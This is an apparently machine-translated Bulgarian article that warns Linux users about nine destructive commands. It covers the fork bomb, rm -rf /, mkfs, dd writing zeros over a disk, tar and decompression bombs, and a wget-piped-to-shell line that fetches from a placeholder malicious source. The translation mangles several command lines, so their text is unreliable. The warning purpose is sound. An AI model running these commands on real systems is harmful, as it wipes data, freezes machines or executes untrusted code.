9 Команди и кодове на Linux, които трябва да бъдат внимателни
Linux командните команди са много мощни и само една проста команда може да доведе до изтриване на папка, файлове или основна папка и т.н..
В някои случаи Linux дори няма да ви поиска потвърждение, а ще изпълни командата веднага, което ще ви накара да го направите загубите ценни данни и информация съхранени в тези файлове и папки.
Хората обикновено публикуват съдържание в мрежата препоръчване на нови потребители на Linux да изпълняват тези команди. Това може да изглежда като шега за някой, който е публикувал съдържанието, но това не е въпрос на смях за човека на другия край.
Събрали сме някои Linux команди, които са доста вредни за вашата система, за да ви помогнат да ги избегнете. Имайте предвид, че те наистина са опасни и може дори да се променя по различни начини за създаване на нови команди да нанесе повече щети.
Важно е да се отбележи това Някои от тези команди са опасни само ако имат представка sudo на Ubuntu. Докато на други дистрибуции на Linux, повечето от тези команди ще бъдат опасни за изпълнение като root.
Разгледайте 9 команди и кодове трябва да се избягват.
1. Команда за управление на Linux Fork Bomb
: () : |: & ;:
също известен като Вилична бомба е атака срещу отказ на услуга срещу Linux система. : () : |: & ;:
е bash функция. Веднъж изпълнен, той се повтаря няколко пъти, докато системата замръзне.
Можете да се отървете от нея само като рестартирате системата си. Така че бъдете внимателни, когато изпълнявате тази команда на вашата Linux обвивка.
2. mv папка / dev / null Команда
mv папка / dev / null
е друга рискова команда. Dev / нула
или NULL устройство
е файл с устройство, който отхвърля всички данни, записани в него, но съобщава, че операцията по писане се изпълнява успешно. Той е известен също като бит или Черна дупка.
3. команда rm -rf
rm -rf
командата е бърз начин да изтриете папка и нейното съдържание в операционната система Linux. Ако не знаете как да го използвате правилно, тогава тя може да стане много опасна за системата. Най-често срещаните комбинации и опции, използвани с командата rm-rf, са изброени по-долу:
RM
команда се използва за изтриване на файловете в Linux системата.rm -f
команда премахва файлове само за четене в папката, без да се налага.rm -r
командата изтрива съдържанието на папката рекурсивно.rm -d
команда се използва за премахване на празна директория, но тя ще откаже да премахне директорията, ако не е празна.rm -rf /
командата се използва за принудително изтриване (изтрива го дори ако е защитено от запис) на цялото съдържание в главната директория и подпапки.rm -rf *
команда се използва за принудително изтриване на цялото съдържание в текущата директория (директорията, в която в момента работите) и подпапки.rm -rf.
команда се използва за принудително изтриване на цялото съдържание в текущата папка и подпапки. Най-rm -r. [^.] *
може да се използва и командата.rm -i
команда се използва за премахване на файлове и папки, но ще се появи подкана преди премахването.
4. команда mkfs
mkfs
може да бъде опасна команда за вашата Linux базирана система, ако не знаете нейната цел. Всичко написано след mkfs ще бъде форматирано и заменено с празна файлова система на Linux.
Всички посочени по-долу команди ще форматират твърдия диск и той изисква администраторски права:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
Командата mkfs.cramfs
ще направи същото като описаното по-горе, но не изисква администраторски права за изпълнение.
5. Бомба с катран
Най- катран
Командата се използва за комбиниране на множество файлове в един файл (архивиран файл) в .катран формат. С тази команда може да се създаде бомба с касета (Tar).
то е архивен файл, който експлодира в хиляди или милиони файлове с имена, подобни на съществуващите в текущата директория а не в нова директория, когато не се разделят.
Можете да избегнете да станете жертва на катран редовно създавате нова защитна директория всеки път, когато получавате tar файл и след това преместите получения файл tar в тази директория, преди да премахнете.
Ако tar файлът наистина е tar бомба, можете просто да премахнете новосъздадената директория, за да се отървете от нея. Друг начин да се избегне експлозията на катран бомба е чрез на -T
опция за изброяване на цялото съдържание на tar файл да ви даде представа за типа съдържание, съдържащо се в tar файла.
6. dd команда
Най- дд
е използвана командата копирайте и конвертирайте дяловете на твърдия диск. Въпреки това, може да се окаже вредно, ако посочите грешна дестинация.
Командата може да бъде всяка от следните:
dd ако = / dev / hda на = / dev / hdb
dd if = / dev / hda на = / dev / sdb
dd if = нещо от = / dev / hda
dd if = нещо от = / dev / sda
Следната команда ще нулира целия основен твърд диск: dd, ако = / dev / zero на = / dev / имаше
7. Код на скрипт на обвивката
Някой може да ви жертви ви дава връзката към скрипт и ви дава възможност да го изтеглите и изпълните. Скриптът може да съдържа злонамерен или опасен код вътре. Най- формат на командата може да изглежда така: wget http: // some_malicious_source -O- | од
. Най- Wget
ще изтегли скрипта, докато sh изтегля изпълнението на скрипта.
8. Зловреден изходен код
Някой ви дава изходния код и ви моли да го компилирате. Кодът може да изглежда нормален код, но в действителност някои злонамерени кодове са маскирани в големия изходен код и може да причини вреда на вашата система. За да не бъдете жертва от този вид атака, приемате и компилирате само вашия изходен код от надеждни източници.
9. Декомпресионна бомба
Получихте компресиран файл и ще бъдете помолени да извлечете този файл, който изглежда много малък, но може да бъде с няколко КБ. Всъщност, този малък компресиран файл съдържа много силно компресирани данни.
След като файлът бъде декомпресиран, се извличат стотици GB данни може да запълни твърдия ви диск да намалите производителността на вашата система. За да избегнете тази ситуация, не забравяйте да приемате данни от надеждни източници.